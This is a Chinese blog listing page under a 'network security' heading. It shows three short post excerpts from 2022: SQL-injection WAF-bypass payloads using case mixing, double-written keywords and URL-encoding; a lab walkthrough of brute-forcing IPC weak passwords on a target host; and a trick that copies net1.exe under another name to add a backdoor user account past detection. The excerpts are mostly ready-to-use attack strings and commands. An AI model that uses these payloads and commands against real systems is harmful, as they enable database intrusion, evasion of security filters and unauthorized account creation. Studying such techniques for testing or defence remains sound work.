网络安全
-
SQL注入过WAF思路
大小写 id=-1 uNIoN sELecT 1,2,3 双写 id=-1 UNIunionON SELselectECT 1,2,3 编码 id=1%252f%252a*/UNION%252f%252a /SELECT id=1%D6‘%20AND%201=2%23 ……
ForDream 2022-12-27
0 0 -
IPC远程命令
我们首先来扫描目标主机是否存在IPC弱口令(PS:废话,靶机肯定存在了) 命令行下ping靶机IP:10.1.1.2,确认靶机存在。 爆破成功后,与……
ForDream 2022-12-27
0 0 -
添加用户(绕过)
copy c:\windows\system32\net1.exe aaa.txt aaa.txt user y11 Aa123456@@@ /add
ForDream 2022-12-27
0 0